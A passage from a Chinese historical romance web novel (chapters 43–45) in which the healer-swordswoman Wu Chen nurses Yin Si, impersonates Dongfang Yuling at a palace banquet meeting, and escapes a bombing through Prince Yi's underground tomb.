所有侍卫跪下大声道,“见过巫大人!请巫大人恕罪!”
“闭嘴!!谁再出声,我先杀谁。”
一众殷家侍卫面面相觑,应是被吓得不轻。
初鸣焦急道:“巫大人......你快看看公子怎么样了......”
巫辰有条不紊得吩咐着,“多取银炭,将屋内温度升暖,再多烧些热水来。把门关严,全都滚出去!”
“是......是是。”
“初鸣,多找几人,将殷思抬回榻上,切记只可平抬,心脏离地的高度不可有过大起伏。还有,别找那几个蠢货。”,巫辰说着,抬眼瞪向正心虚的首领韩茂。
“是!”
门正要紧闭,却闻一声高喊,“侯爷到————”
见殷怀疏坐于轮椅之上,被封姨娘推进屋,巫辰强收慌张的心绪,平静道,“见过侯爷。”
殷怀疏关切道,“你的伤,不处理吗?”
巫辰才注意到颈间的温热一般,摸向正冒血的刀伤,“无碍。”<
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屋内依旧鸦雀无声,没人敢再说话,封姨娘向来看不惯巫辰,只道:“巫大人使唤我殷家人,还真是顺手。更将他们训得如此服帖,见了侯爷也不曾行礼了。”
尽管听得封姨娘这么说,多名侍卫仍是怕得不敢言语。
巫辰道:“将他医好后,我自会离开,不再打扰。”
殷怀疏却不以为然,笑道:“离开?那倒不必。免得他醒来后见不到你,又要发脾气了。”
......
*
“殷思,你还会发脾气吗?是像那日你骂我那样吗?”
“殷思......你在听吗?”
巫辰坐于殷思塌旁,悄悄戳向他的面颊,而后将目光聚于殷思眼角处。
常感寂寥无助时,炙热泪滴总能将她拉回现实。
屏退心魇后,更愿沉溺于无尽柔光之中,巫辰竟也无意间学会了逃避。既然有些事想来便觉苦痛,倒不如反复欺骗自己,只管去寻一处温柔乡作为此生归处,远离世事无常。哪怕浑身浴血,回望过后,亦有携她往生的归港。
俯身低头时,指尖摩挲着他泪光常凝的位置,而后轻轻一吻。
“咳......”
巫辰听得门外的动静也未收回动作,过了几秒后才抬头,“见过孟姨娘。”
孟姨娘将眉头一皱,无奈道:“诶......你这小姑娘,我刚才进门,你没听见吗?”
巫辰只实话实说,“听见了。”
“那你还......”,孟姨娘无意瞥见两人仍紧牵着的手,瞬间读懂一切,“啧,怪不得溯理会这般惦记你,真是让人心慌。”
而后坐于巫辰身边,说个不停,“他们殷家几代人,皆是如此痴的、傻的。对了,你可莫要误会,我们几人对外身份虽是姨娘。”,说到此处凑近小声道,“却是未怎么见过殷老爷,不过是多年前过来陪侯爷在殷府解解闷儿......顺带帮侯爷养弟弟的。殷家向来都是单传,只娶一妻呢。”
孟姨娘见巫辰没有回应,更不见感动或是恍然大悟的神情,以为她仍未听懂,干脆明确到:“现下正值献都形势动荡,皆是不便有大动作,这时候过门,难免会委屈了你。诶,你们感情......如何啦?或是说,发展到哪儿啦?”
巫辰淡淡道:“这是我与他的私事。”
孟姨娘笑道,“哈......小姑娘你还懂私事呢。”
“改日你空了,让初鸣上集市去买些话本子来,多看看那话本子里的人是因何这样相处,你便能懂了。嗯,听姨娘的话~记得去买啊~”
......
*
因得孟姨娘的话,巫辰只以为是殷思从前喜欢听话本子,得来后有事无事便一句不漏得念给他听。
“......那贵女整日以泪洗面,见心上人长此以往得病着,早已撕心裂肺,痛过了千八百回。”
“她的心上人如今更是日日昏迷在塌,连汤药也咽不下了,为他可早日转醒,与她再谱佳话。索性不顾世俗的偏见,竟唇齿相碰,以口为重病的他渡药......”
读到一半巫辰便难以忍受,“怎可用嘴渡药的......昏迷不醒的人,已无吞咽反射,若是汤药进了气管,直接窒息而死,治都不用治了。”,虽是满口否定着话本中的内容,却仍是好奇‘唇齿相碰’。
稍稍欠身后,只感他的温热鼻息,轻浅,极静......
43.情迷
读至一半,巫辰再难忍受,“怎可用嘴渡药的......昏迷不醒的人,已无吞咽反射,若是汤药进了气管,直接窒息而死,治都不用治了。”,虽是满口否定着话本中的内容,却仍是好奇‘唇齿相碰’。
稍稍欠身后,只感他的温热鼻息,轻浅,极静......
而后于他耳边细声道:“你是不是最怕......我亲你。”
“殷思,快些醒。不然,我要亲你了。”
“或是......一吻,换你平安醒来。”
......
.....
....
*
卧榻处,沉眠香正绕,浓意未消,情更难消。
“殷思......”,回神间,发现正于眼前的巫辰,与往日稍有不同。
罗帷掩去夜幕辉光,她的神色于此时看来,暧昧难猜;更连心神,也变得朦胧不清。
见巫辰轻抚上自己的手,而后慢慢靠近,待看清她的衣着时,忙闭目躲避。
“夫君。”
“你闭眼做什么。”,巫辰说着边戳向殷思眼角,这动作极像她平日里会做的,此言一出,更扰得人难以分辨,正身处何地。
残留的神志不停催促,需尽快从幻梦中脱离。
可双唇被她的温度轻覆上后,彻底沉沦,再难挣脱。
“夫人......”
......
.....
....
*
“少夫人!”,那才得罪了巫辰的侍卫首领韩茂,正着急忙慌得冲进屋,竟又忘了敲门,知自己将称呼用错,忙改口,“不是不是......巫大人......”
巫辰此次确是被吓得一惊,将伏在床边的身子坐起,回身瞪向韩茂。
韩茂解释道:“......巫大人,颖王殿下与李四公子过来了,说要见公子......”
“不见。”
“哦。”,韩茂识趣得出溜出门,不敢再得罪巫辰,离开前却想起些什么,又将头探进屋内道,“巫大人,继华堂的东方大人也传信儿来了......说明日......”
“......”,韩茂再看向巫辰时,发现她目中带煞,似要自己生吞活剥,瞬间被吓得心里发毛,不敢多言。
巫辰面无表情道:“你说不说。”
韩茂恍惚回话,“......东方大人邀您明日午时到继华堂小聚。”,见巫辰不再用狠厉目光盯着自己,而是回头去看了殷思,韩茂鼓起勇气试探,“巫大人?您......您的伤好些了吗?”
“滚远点儿,我不想再看见你。”
韩茂闻言瞬间跪地爆哭,应是已惴惴不安得,忍了许久,边哭边撕心裂肺喊着,“少夫人————您别赶我走啊......我自小就在殷家了,从未离开过的!我爹......我阿爷、我阿爷的爹、我阿爷的阿爷,都是在殷家当差的......”
巫辰只好熟练得用针将殷思听觉闭去,而后闭目长舒一气,逼迫自己将这口怒气迅速咽下。
不解往日的殷家家主,为何如此眼拙,竟挑了这么些蠢货过来当差。
韩茂见巫辰毫无反应,哭得反而更加起劲,“您今日赶我出殷家,我再难对得起我韩家列祖列宗了!......我知道错了,您怎么罚我打我都行,别赶走我啊!!!”
“我......我虽不像初鸣、末息那样,从小跟在公子身边......但公子一直待我们家养侍卫极好,我怎敢恩将仇报,我不是故意要害公子的,我......”
巫辰手一抬,将话本子重重扔到韩茂身上。
“少夫人......这是什么......”
“书里的字,念给殷思听。”,巫辰收针后起身离开,不愿多呆,想着这苦让殷思一人受着便罢了。
韩茂收去哭喊,感激涕零道:“呜......是,是是......多谢少夫人......”
......
*
继华堂主院内,不出几日,便染尽了尘灰。
风过起时,了无人影,正值午时暖阳天,却倍感空幽寂寥。
东方羽灵正于石桌前独自下着棋,那石桌上的血迹,已然洗刷干净。见巫辰到跟前,东方羽灵不紧不慢道:“嗯?你看着,心情还不错。”
“......”
东方羽灵轻叹一声,“继华堂,许久未如此安静了......巫辰,你若还心存愧疚,帮我个忙,可好?”
巫辰道:“什么忙。”
东方羽灵眸中一亮,听巫辰的意思应是有戏,停了手中的棋局,抬眼问道:“你是不是,百毒不侵?”
“是。”
“什么毒都可以吗?你可知‘雪中春信②’?此药也对你无用吗?”
巫辰将头一偏,似是不解。
东方羽灵也不再去管巫辰的反应,抢先道:“不说话,权当你答应了,从现在开始,就不可以反悔了哦。”
“颐王生辰宴那日,你替我与承晚今,到蒙虞阁赴约。依照我定下的剧情......我应在那日,与承晚今单独见面后一见钟情,而后便由圣上赐婚。往后以颖王妃的身份,重振继华堂。”
“你自己不能去吗。”
东方羽灵道:“啧,我可不想死在那儿。而且,承晚今是个半残废的,你需保他活着出蒙虞阁。”,稍顿后,将语气一转,“还有,从今日起,不准离开继华堂。”
巫辰斩钉截铁道:“不可以。”
房檐之上却有多处黑影闪动,一众人飞身下跃,以寒刃相胁。
东方羽灵笑道:“你已应了我,就不可再食言。你也不想,那位病人于重病之时,听得有关你的坏消息吧?”
巫辰因继华堂之事,本就心中含愧。只好收了出刀的动作,默许下来,未再反抗。
......
*
被关在继华堂的日子里,自然是心不在焉,且万般得不情愿。
巫辰只反复学着那些官家小姐的礼仪之态。
闲暇时,东方羽灵常不厌其烦得讲着,她平日里,是如何与继华堂女官处理事务、网罗情报。
在巫辰听来,却是在反复提醒,枉死的人是如何被自己亲手杀害。
入魇难眠时,只好守着辰星,孤盼解脱。
东方羽灵细细听着,那缓而不乱的琴音,笑道:“没想到,你的礼仪规矩,竟不差呢。我只当习武之人,从不擅这些繁琐礼节。”
巫辰停了弦音,抬眼后认真道:“我姓展,世家展氏。”
巫辰自小虽不喜被繁杂的规矩拘束,可多年来,却从未忘了得体的规矩,更不会忘却自己姓展。
东方羽灵道:“哈......你与传闻中的展氏一样,有股难以言说的,傲气。”,见巫辰神情不对,用手肘戳了戳她,继续说着,“别生气嘛,说起来,我们还是亲戚呢。”
“准确得说,你与皇室、世家都有亲缘关系,毕竟大苍开国之初,承氏与展氏是共享同一个天下的。也正因展氏的势力,不容小觑;所以,大苍一旦出现动荡,皇权不稳的承氏,第一个想要除掉的,只能是能文能武、有兵有权的展氏。”
“那位殷公子,竟从未与你说过吗?当真是很能守得住秘密呢——”,东方羽灵说到句末处,故意将尾音拉长,“你看,我多真诚。够与你做朋友吗?”
巫辰起身,忍无可忍:“都学完了,寿宴那日,我自会回来找你。”
东方羽灵却道:“巫辰,你最好不要回去。若此时你因旁人乱了心志,颐王寿宴那日坏我大事,只怕此处的无辜亡魂,永远难安。”
“东方羽灵,你到底要做什么。”
东方羽灵道:“我要翻案,八年前的东宫叛乱案,有人枉死。”
......
*
侍女行礼后恭敬道:“姑娘,颖王殿下说,请您稍等片刻,他很快就到。”
“嗯。”,巫辰特意与她对视,见那侍女面色无常,这才安下心来。
巫辰今日依照嘱托,效仿着东方羽灵的身形仪态,且将真容掩去,正戴着与东方羽灵面容别无二致的面具。
蒙虞阁楼台处,俯瞰巨阙山处的光景,华灯初上,寿宴盛启。
绚烂烟火与寒川之景,格格不入。
不知为何,胸中总感烦闷,只好装作不紧不慢的样子,目光扫过屋中纷纭锦绣,仅有侍女正匆忙备宴,无人顾得巫辰在楼内乱逛。
反复寻了几层后,未见其他身影,低头自嘲,终晓不过是自作念而已。
正欲离开时,重新踏上回旋长阶,那人身着一袭素白长袍,眼纱遮目,同样的面容不清。
由巫
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辰面前翩然经过,错身之际,他却毫无半刻停留之意。
身虽站定,目光却难以从他身上移开,只随着那身影远去,徒留躯壳怔然于原地。
长阶之上的侍女目睹全程,更看清了‘东方姑娘’那一瞬的失神,再难忍住笑意,正如东方羽灵提前定下的‘一见钟情’。
“东方姑娘,颖王殿下请您落座。”
始料未及的事往复出现,只压得巫辰难以喘息。
他根本不是承晚今。
面容虽有相似,可心口处的怦然而动,早已抢先将他认出。
巫辰强装镇定,照常行礼,“见过颖王殿下。”
那人笑着落座,“无需多礼。”,稍将身一侧,对侍女道,“你先下去。”
“是,殿下。”
帘幕轻垂,光影斑驳间,巫辰静坐于梨木琴案前,指尖轻搭琴弦,与他仅一纱之隔。
琴音冷冷响起,每一声弦动,激起层层涟漪。
“姑娘指下的琴音,余响入霜钟,如听万壑松①。可为何弹奏至哀婉悲愁处,却乱了。”
巫辰学着东方羽灵平日的古怪腔调,耐心回问,“......殿下今日邀约,不知是为何事?”
“婚事。”
弦音于不经意间错后半拍,难判他是否认出自己。
“你我的婚事。”
巫辰忍不住问道,“殿下近日,身体可还......”
他却抢着回答:“好多了,多谢关心。许久未见,姑娘是否,忘了些要事。”
巫辰道:“殿下指何事?”
“梦醒已有多日,我为何仍未等到,你的承诺。”
巫辰尽可能将声音的响度压低,“你记错了。”
殷思浅笑道:“你骗我。”
正凝眸间,窗外烟花轰然绽放。
巫辰道:“快走。”
“我不走,我要与你一起。
“你快走。”
“你先走。”
两人只一来一回得说着废话,早知有险,却谁也不愿先离开。
“承晚今!”,巫辰急得拍桌,却未忘正在局内,若事关为八年前东宫叛乱翻案,绝不可出现差错。
“东方羽灵!”,殷思随巫辰装下去,见她被这样一喊,走了神。干脆抬手便甩过去一盏茶杯,杯口划过巫辰脸侧,面具掉落,露出真容。
理智不再,只径直冲向巫辰,眼前碍事的琴桌子一律掀翻,紧扣双肩后将她压在地上。
颤抖指节轻触向巫辰面颊,“可有伤到?”
巫辰却伸手抚向殷思鼻梁处,取下他眼上的轻纱后,目光相对,认真道:“你能看见。”
殷思道:“我怎舍得看不见你......那日你说的话,可还作数?其实我不怕的......”
话未说完,巫辰率先察觉出不对劲,忙捂紧殷思口鼻。而后将身体一翻,反将殷思按住,以防他再乱动。
巫辰停了动作去细听屋外动向,腰却猛然间被殷思搂得更紧,他果然是来坏事的。
“咳咳咳......咳......”,一阵急咳后,巫辰只感呼吸愈渐急促,更甚无法动弹,体热似焚薪。
殷思分寸全乱,“别......阿颜,不能脱。”,说着将巫辰身体尽力撑住,正要抱着她坐起身,“你快起来......从我身上起来......”
“殷思,我热......”
“你不是百毒不侵吗......”
巫辰仍靠在他肩上,头晕目眩,“这根本不是毒。”
“听话,你先起来......”,殷思只感颈间处,她的温热吐息被无限放大。
巫辰试图寻得支撑点,慌乱间想用膝盖触地撑起身体,可膝下却猛然一空,向下一压。
“呃......”,殷思吃痛,不备时破了闭气,香气入鼻。经这一闹干脆破罐破摔,轻哼几声后,只以笑去掩盖尴尬和剧痛,“唉......好疼的,你快......快别用膝盖撵着了.......”
巫辰总算起身,用手指戳向仍缩着身体倒地不起的殷思,似是不明真相,“你怎么了。”
“今日回去......可以随意用我试毒了......”
巫辰一听可以试毒,瞬间来了精神,迷香也褪了三分,“你不怕后遗症了吗?不孕不育也没关系吗?”
44.红线
巫辰总算起身,用手指戳向仍缩着身体倒地不起的殷思,似是不明真相,“你怎么了。”
“今日回去......可以随意用我试毒了......”
巫辰一听可以试毒,瞬间来了精神,迷香也褪了三分,“你不怕后遗症了吗?不孕不育也没关系吗?”
“我缓缓就好……”,殷思说着忍痛坐起身,默默向后倒退,直至彻底将自己藏于桌下。
巫辰仍步步紧逼,“你躲到桌底做什么。”,伸手一下摸上殷思脸颊,全然不顾他面上忽染的绯色,“你也好热。”
殷思只因疯涨爱意,被囚于方寸之间,不敢再多看巫辰,“别靠近了……你总这样平白无故得靠近我、招惹我……很痛苦的。”
“你对我是否……有情,于我而言,已然无所谓了。但我……”,殷思额间青筋隐现,终是将欲落之泪勉强抑住。
“我不想伤害你……你应有知情权的,你不明白何为喜欢,我只管去等。等你明白,再爱我,也不迟……”
巫辰难以读懂,为何随心而定的靠近,会被他说成是伤害。真正浑身生刺,只会将灾祸带至旁人身边的人,分明是自己才对。
昏黄烛火跳动闪烁,光影明灭间。
不知为何,殷思虽处于昏暗的阴影处,可眉目却依旧被残光,勾勒出清晰的轮廓。
心神停滞怔然时,巫辰想了又想,只觉他极像是明烛外的那盏雕花灯罩,常将点点星火,小心藏匿于心中。
不管灯芯散发的火光,亮度如何刺目,温度如何滚烫,只要是被他的身体所包裹,皆可变得柔和平静。
难安的心火,可因一人,凝成新的形状。
巫辰只将手更贴近他半分,认真道:“喜欢,我确实不懂。但想要什么,尚可清晰感知。”
殷思道:“想要什么……”
巫辰顺着滚烫气息,寻至他面前,未再回答。
他却贴着巫辰鼻尖呢喃,“不要……我只愿,清醒得吻上你。”
“爱要不要,你的事可真多。”,巫辰无语至极,整日搞得好像在强迫他一样,若论不解风情,殷思当属第一。
巫辰说着站起身。
“......”
“阿颜,你生气了吗......”,殷思却又在桌底拽起巫辰的裙角。
巫辰问道:“那两个怕死的,现在哪儿。”
“此处,地宫。事成后,我带你离开献都。”
巫辰更加确定了从前的猜测,颐王府的选址,巨阙山下,果然是处坟墓。
“事成了,我为何要走。”,巫辰只将殷思攥着的那处裙角,用力抽开,继续道,“东宫案存疑,那展氏更可翻案。”
“阿颜,你要以何种身份……去为展家翻案。”
“我无需身份,我只是展颜辰。”
巫辰从缙华堂离开时,只为了却多年来心中的恨意,重回世间后,却感时间的流速愈渐放慢。
整整八年,她似乎从未真正得活过。
既已寻得心焰微光,便无需再次逃避。
巫辰稍稍一顿,听出殷思的心跳脉搏,仍不对劲,“还有,你因何重伤。”
“……”
见他又在敷衍沉默,巫辰干脆俯下身去,将殷思从桌底拽出来,两人的距离再次被拉至最近,威胁道:“你说不说。”
殷思只好道出实情,“兵符。”
兵符,于巫辰的记忆中,仅出现过一次。于容安山宗正寺脱身面圣那日,殷思持着兵符,将亲兵带进了宫内。
也深知他数次受伤,皆因自己而起。
巫辰垂眸失神,“已有心力衰竭之象,往后少用内力。”
“那阿颜可以保护我吗?”
“嗯。”
殷思却笑着她揽入怀中,“无事的……我才不想做你的软肋,我只想做你的刀,随时为你而疯的刀。”
因得屋内烟香积攒过多,终是将窗扉引破,凛冽寒息瞬间灌入,昏灯欲灭,意难安。
梁间红绸帷幔,因心风潜入,缠绕纷乱。桌案之上,页页纸张挣脱书卷的束缚,翻飞而起。
视线被反复遮蔽,眼底眸光朦胧不清,相视无言。
“殷思,别再做刀了,你做我的刀鞘吧。”
“阿颜,我好像清醒了。”
殷思轻扶起她下颌,脉脉近身后,双唇轻碰。
呼吸交融时,风息云止,唯余心跳声杂。
唇间温热之感,由浅至深,再变得急切慌乱。
扰得巫辰有些难以喘息,被不舍松开后,唯她还可清醒发问,“殷思,你烫成这样,还能亲这么久吗。”
殷思:......
巫辰偏头凑到殷思眼前,见他唇角颤微,双颊绯绯,试图去哄,“怎么了,你又要哭了吗。”
殷思只将脸埋进巫辰颈窝,“......你别说了。”
凛风渐息消散,唯余暖阳徐临,照于身畔,欣悦盈心。
......
*
身入地宫,寒雾缭绕,冰棱悬于石壁间。
承晚今侧身问向同坐在旁的东方羽灵,“东方姑娘,这里面,葬着谁?”
东方羽灵似是抓到骂人的机会,抢着回应,“你瞎吗?这门口不是写了,葬着的,是展颜钦。”
“不好意思,我确实瞎。但还要多谢东方姑娘直言,不然本王此生蒙在鼓里,未知真相,要抱憾终身了。”,承晚今言语间语调顿挫回转,极为夸张,若细细去听,才知是学着东方羽灵最擅的装腔拿调。
“我当颖王殿下是藏巧于拙,正装瞎呢。”
承晚今面上笑意仍未散去,耐心问着,“碑前,可还写了旁的?”
东方羽灵笑道:“当然写了,还是极有趣的大事呢。颖王殿下未知此事,这才是真要抱憾终身了。”
“代贺,进来看看,门前的碑上写了什......”
东方羽灵终于此地忘却从前的得体礼仪,且楼阁之上,正有人替她受了禁锢,于是一把夺过承晚今手中的火折子。
低头后直接点着了细绳,那细绳连结地宫门前,她亲自安置的火药。
紧接着的,是一声爆响,震耳欲聋。
浓烟稍散,代贺的声音从老远的地宫入口处传出,“……殿下,碑炸了。”
承晚今终是笑不出了,“你这是做什么!”
第二声爆响,轰雷乍起。
“东方羽灵!”
东方羽灵面上却流露不安,“先别恼羞成怒,此声爆炸的位置,好像有问题呢。”
......
*
轰————————
山间台榭,一时之间,尘烟蔽去胜景。
爆炸时,蒙虞阁几乎轰然而倾,烟雾腾腾而起。
剧烈冲击骤起,两人因得后坐力被冲散开。巫辰勉强抵住窗框维持平衡,脚下却猛得一空,正欲飞身逃离,冲上横梁,却发现浑身内力,已尽数消散。
“阿颜,别动!”
错愕时未及反应,却被殷思由身后紧紧抱住,砖石崩飞霰落。
高楼危立间,仍相拥于绝境之沿,身躯无力向后倾倒,一同惘然下坠。
殷思由身体作为抵挡,护着巫辰接连坠下数层,反复重撞在木梁间,直至焦木碎裂。
再见他唇角染上殷红,巫辰于混乱之中看准时机,尽全力将殷思朝着另一侧推开,反复确认他未伤的左手,在脱力后,仍可抓住下方的横梁逃脱。
脱离怀抱后,巫辰迅速回神,怎料运气过差,眼前愈渐放大的,仅有折断的巨梁。
横生木刺正将身体穿透前,却感左手手腕处被死死缠住,因身体下坠的巨大惯性,手腕几乎被扯断。
身形摇摇间,愕然抬首,殷思右手紧攥红绸发带,颈间青筋暴起,仅用左臂抓着衡量,承着两人的重量。
他曾说过,未留遗憾,此生便足够有意义。
一时之间,居然懂了何为遗憾。怎会毫无遗憾,但不再去害他无故丢掉性命,也算有意义。
尽管红线相牵,向生之欲却再难重启,巫辰不再看他,任由鲜血顺着红绸浸染掌心。
“殷思,放开。”
“我绝不会,留你一人,孤独下坠。”
“......你想和我一起死吗。”,巫辰说着,边用右手去拆开那红绸。
话语艰难从齿缝间吐露,“我只与你……一起,活。”
“信我,我能......抱紧你。”
“听话......别松开我......别抛下我......”
殷思力贯于臂,只将巫辰向上一甩,飞身再起后将她横抱,顺着交错木梁层层向下。
火
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海再而非浴血炼狱,浑身血迹不知何时,竟被悄然清褪。
......
*
承晚今将人叫住:“东方姑娘,你无需去找。少了他们两个,一样能赢。”
东方羽灵停下脚步回身,“哈?颖王殿下,没想到,你......人还挺坏的。”
“......”
死寂之中,脚步声悄然响起。
巫辰扶殷思靠至墙边,而后蹲下将手指轻搭于手腕处,细探脉象。
东方羽灵松下一口气后,走近至巫辰身边,“不是嘱咐过你,需将护好他吗?”
“......”,巫辰手上动作稍有一顿。
殷思听得动静勉强转醒,将巫辰的手轻轻一握,费力笑着,“我没事......”
东方羽灵自顾自念叨着,“巫辰,我是当真不知,今日是你的殷公子会去,可莫要记恨我了。”
承晚今趁东方羽灵说话,悄声摸过去后,从她手中将火折子顺走。
东方羽灵只冷得一撇,完全没想搭理承晚今的动作,说着还去抚巫辰的背,“没事的,别担心了,你看殷公子不是正好好活着吗?若是没有你在,殷公子可不一定会活得更安稳呢......”
殷思打断,“东方羽灵,你闭嘴。”
东方羽灵只白了殷思一眼,悄悄对巫辰道:“看见了吗?他平日里对你,都是装出来的,你若现在后悔,还来得......”,东方羽灵话未说完,余光觉出身侧一片煞白火光,承晚今竟坐着将自己身上点着了。
东方羽灵:???
巫辰:......
殷思:......
“承晚今你疯了吧!代贺......快过来!”,东方羽灵冒火冲上去,抢回阴冷地宫中的唯一火源。
代贺冲回地宫内,与东方羽灵一齐将承晚今身上的火费力扑灭。
几人现才像是从爆炸火场中逃出的样子,正乱作一团,狼狈至极。
地宫另外一处,画风突变,只对起火处的嘈杂置若罔闻。
巫辰轻擦去殷思唇角血迹,忧心之下唯有疑惑,也不知为何会突然散了内力,内里消散是此前从未发生过的。
正回想适才不同以往的事,似乎只有亲过殷思。
“疼吗......”
殷思道:“完全不疼......你信我,好不好?”
“嗯。”
“方才入口处的石碑......”
......
*
“谁!”
“是谁!”
“殿下......殿下息怒......”,一众身穿琴师、舞者衣着的男子随快步追了上来。
“谁把我的石碑炸了!!!!!”
“谁干的!”,颐王承段复只举着砍刀,冲进地宫内。
来人身着一袭月白色锦袍,头戴束发玉冠,面容虽略显清秀,却透着一股英气,难猜真实年纪。
颐王承段复只一个一个质问,且乱挥着刀,“是你炸的吗?”
围着他的男侍只慌乱去护,生怕这砍刀先将颐王自己伤了。
火才将熄,几人正被浓烟呛得不行,当然无空去管承段复。
“是不是你?”
承段复见了承晚今,怒道:“晚今!就数你身上火最大,是不是你干的!”
“叔父......咳,咳咳......我......”
承段复只恨铁不成钢,“算了......料你也炸不了。”
而后挥散烟尘调转回头,用刀指着巫辰和殷思的方向,对着巫辰道,“那就只剩你了!是不是你炸......”
巫辰护在殷思身前,目光寒厉警惕,刚好与承段复对视。
承段复却似是愣住,神色未有惧怕或者其他,唯有惊喜,“好孩子,不是你做,对不对......”
巫辰:......
承段复追问,“好孩子,你叫什么名字?”
“巫辰。”
承段复莫名感叹,“真好听。”
“但再好听也是无用了,你们胆敢在本王生辰这日,炸了我的宝贝......本王只好去找皇兄告状了。”
早早围作一圈的多名男侍,突然生疏得掏出刀来,置于身前,毫无威胁得威胁着在场众人。
45.残局
承段复追问,“好孩子,你叫什么名字?”
“巫辰。”
承段复莫名感叹,“真好听。”
“但再好听也是无用了,你们胆敢在本王生辰这日,炸了我的宝贝......本王只好去找皇兄告状了。”
早早围作一圈的多名男侍,突然生疏得掏出刀来,置于身前,毫无威胁得威胁着在场众人。
巫辰回身时手握刀柄,神色淡然,刀鞘脱离刀身后,甩出清晰可见的弧线,内力竟已然恢复。这刀鞘将一圈男侍手中刀打飞,那几人惊慌失色得被打退,更有几人因失力撞在坚硬石壁上。
“夸你两句,你还来劲了!”,承段复圆睁着眼,颐指气使惯了的人,最恨人踩在他头上,拂他面子。也见平日从不舍得随意打骂的男宠侍,被巫辰这般‘糟蹋’,随即脸上涌起一阵青一阵红的怒色,“小危!进来把她给我抓回府!!”
咻————
一支羽箭破风呼啸而至,巫辰察觉利箭袭来,侧身一闪,险之又险地将其避开。
箭“噗”地一声,深深插入身旁石砖缝隙处,箭尾尚在剧烈颤抖。看力道与用箭特点,巫辰迅速分辨出,射出此箭的与多日前醒淑楼遇刺时,要杀殷思的,正是同一人。
此人用箭时,箭速极快,所用弓应是为八石以上。且那日未能看清箭矢来源,射程也应为百步以上,全大苍能有此箭术的,应是不足十人。
如今虽知刺杀案中的死士来源,大多出自边境处流落至大苍的年轻难民,再混入各处花楼后洗去原有的身份。
若是此时从颐王处冒出个来着‘官家’的刺客,来自多方势力的争端或混战,只会更加搅乱原有的棋局。
且颐王向来无站队,只做闲王更是从未参与朝政,若此时借寿辰宴广交朝臣,或可另起一派。
可信之人,本就少之又少,悬而未决的不安之感,只压得巫辰头疼欲裂。
因此一箭,在场人僵持不下,寂静无言,承晚今却道,“叔父,别再动手......是自己人。”
在巫辰看来,承晚今和东方羽灵一样,常是前言不搭后语得说着唬人的话,谁与他是自己人?
“承晚今!你说谁是自己人?我?还是她——”,本怒火中烧的承段复被瞬间气笑,“难为你今日,搜罗来这么些人,又是炸我的楼、又是炸我的石碑。还敢当我的面,打我的人!”
“你听过那句话没有?打狗也是要看主人的!”
“小危!”
“殿下有何吩咐。”,说话间,执弓的那人已进了地宫暗室内,看装束应为寻常的亲王近卫。
“过来,杀了他们。”承段复只是冷冷地睨着众人,开口说话时,却又掺写兴奋,“诶......那个凶巴巴的女的,给我留下,我要和她,好好玩儿。”
林小危环视在场的人,竟全是熟人,看向巫辰后,也是稍稍一愣。
“动手啊!”,承段复怒声催促。
“颐王殿下,在下,惠国公府东方羽灵,现任继华堂辅领官。”,东方羽灵轻启朱唇,语调缓慢而端庄,其中却透着几分拿捏之态,“下官与晚今......今日不幸于蒙虞阁处遇难,被逼无奈才逃至此处,未成想那谋命之人,竟追着我与颖王殿下,这才不幸波及了殿下的石碑。”
一长串的解释,竟是找不出一句真话,承晚今更是被那声‘晚今’,恶心得难以管理表情,忙装着用衣袖去擦额间碳灰。
此话在承段复耳中,也是仅保留下,她为东方氏、名声远扬的惠国公之后。
东方羽灵眼神指向另一处的殷思和巫辰,继续道,“靠墙那位,是为殷氏少主,闵国侯亲弟。至于殷公子旁边的......”,说到巫辰时,似是不知甩出她的何种名头来,总不能说她也为世家之后,只不过是叛国世家,斟酌半瞬,“旁边的是殷公子未婚妻,听闻侯爷很喜欢这姑娘的,还请颐......”
“噢!你已成婚了!?”
“太不巧了......本王从来不和已成婚的人玩儿。”,承段复似是终于抓到个,听起来不至于让自己当场颜面扫地的理由来,忙换成僵硬的笑脸对着巫辰,而后清了清嗓。
“哈......看来还真是自己人!虽是出了小小的差错,但还在.......”,承段复只咬牙心痛,“......还在本王的可接受范围内,放你们离开,可以。但总要留下个小小的人质吧?不然修楼的钱,本王问谁去要?”
“不如......你留下?”,说着指向靠在墙边已极度虚弱的殷思,“小危,带这个......殷公子回府上坐坐。”
林小危正要去将殷思扶起,却抢先被巫辰抵住脖颈,林小危只心虚得撇了一眼巫辰,不敢言语。
承段复挤出笑脸,尴尬得解释,“小......小巫啊......你别看我府上看起来是......男人比较多,但我真的对他不感兴趣!我就是怕你们跑了.......我的楼......就再也盖不起来了......”
“你看殷公子这个样子......总不能躺着见陛下吧,多丢脸呢,你说是不是?”
殷思喘息微微,却仍颤抖着将巫辰持刀的手轻轻按下,“巫辰......我阿姐仍在宴上,今日不可让她见到我......而且,我认得他,无事的。”
巫辰虽是不敢置信,却仍迟疑得收回了动作,既然认得,为何这林小危还要杀他?
而后只忧心得,看着林小危将殷思背起带走。
“本王险些忘了,小危从前也在殿前司当差呢,你看巧了不是!这下皆大欢喜......”,承段复将手一合贴至脸侧,似是满意非常,歪头假笑着,全然忘了才指使林小危朝巫辰放了冷箭。
目送人临走时,又将嬉皮笑脸得模样收回,“晚今,你的赢面太大,可莫要叫叔父失望。”
......
*
东方家的侍女正于宴中庭院内,簌簌落着泪,只喃喃念着东方羽灵的安危,“李尚宫......还是未有我家小姐的消息吗,可否再加派些人手寻她,小姐身边并未带着护卫,若是失了施救的良机......”
李尚宫道:“已派人去寻过多次,皇后娘娘也很是忧心东方姑娘的安危,正犯了头风症。敢问东方大人是有何要事,才冒然在今日大张旗鼓得,与颖王在蒙虞阁见面。虽是在朝为官,却也是未出阁的姑娘,行事不应如此莽撞。”
“莫要再反复过来传话了,只会惊扰了皇后娘娘和陛下。”
“可是......”
御前副使盛心薇打断传话道,“李尚宫,放置炸药的人及其余共犯,方才已由刑部安侍郎的人,抓着了。”
“盛副使......可有寻得我家小姐......”,那侍女见了盛心薇又忙跑去问她。
“人在哪儿?”,李尚宫未再管那东方家的侍女,似是对东方羽灵一行人的生死毫无顾及。
盛心薇道:“是......是刑部司陆堇,其余共犯.......也都是刑部的人。”
......
*
兵部尚书沈则儒斜睨着身旁坐着的几人,“齐尚书,不知您这刑部,可还留得吗?”
刑部侍郎安固临却代了齐炜回应道:“留不留得,也要看这陆堇,有何可说的。”
沈则儒冷笑道:“呵......看来安侍郎,已是势在必得了?听闻今日,闵国侯也会来,但却是因一些麻烦事,被皇后娘娘请了过来。我们这些为官时日有些年头的,皆知安侍郎从前,是从殷氏亲兵营出来的,不知安侍郎这儿,有何说头?”
安固临道:“在下行得坦荡,自然没什么说头。但这陆堇,是燕庭人,应与沈尚书关系不浅吧?”
席间侍从通传,“闵国侯到————”
“见过侯爷。”
